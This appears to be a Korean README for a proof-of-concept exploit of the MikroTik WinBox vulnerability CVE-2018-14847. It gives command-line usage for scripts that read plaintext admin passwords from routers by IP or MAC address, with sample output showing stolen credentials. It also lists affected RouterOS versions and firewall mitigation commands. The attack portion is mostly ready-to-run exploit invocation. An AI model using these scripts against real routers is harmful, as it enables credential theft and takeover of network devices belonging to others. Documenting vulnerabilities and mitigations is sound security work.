
Winbox 치명적 취약점 (CVE-2018-14847) 개념 증명
이것은 임의 파일 읽기를 통해 일반 텍스트 비밀번호를 탈취할 수 있는 중요한 WinBox 취약점(CVE-2018-14847)의 개념 증명입니다.
이 스크립트는 Python 2.x 이하에서는 실행되지 않습니다.
스크립트는 명령줄에서 간단한 인수로 간단하게 사용됩니다.
취약점을 악용하여 비밀번호를 읽습니다.
python3 WinboxExploit.py <IP-ADDRESS> [PORT]
예시:
$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord
장치에 IP 주소가 없어도 파일을 추출할 수 있습니다.
로컬에 연결된 Mikrotik 장치에 대한 간단한 발견 확인.
python3 MACServerDiscover.py
예시:
$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)
aa:bb:cc:dd:ee:ff
aa:bb:cc:dd:ee:aa
취약점을 악용하여 비밀번호를 읽습니다.
python3 MACServerExploit.py <MAC-ADDRESS>
예시:
$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff
User: admin
Pass: Th3P4ssWord
2015-05-28부터 2018-04-20까지의 모든 RouterOS 버전이 이 익스플로잇에 취약합니다.
다음 RouterOS 버전을 실행하는 Mikrotik 장치:
자세한 내용은 https://blog.mikrotik.com/security/winbox-vulnerability.html 를 참조하십시오.
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
/tool mac-server mac-winbox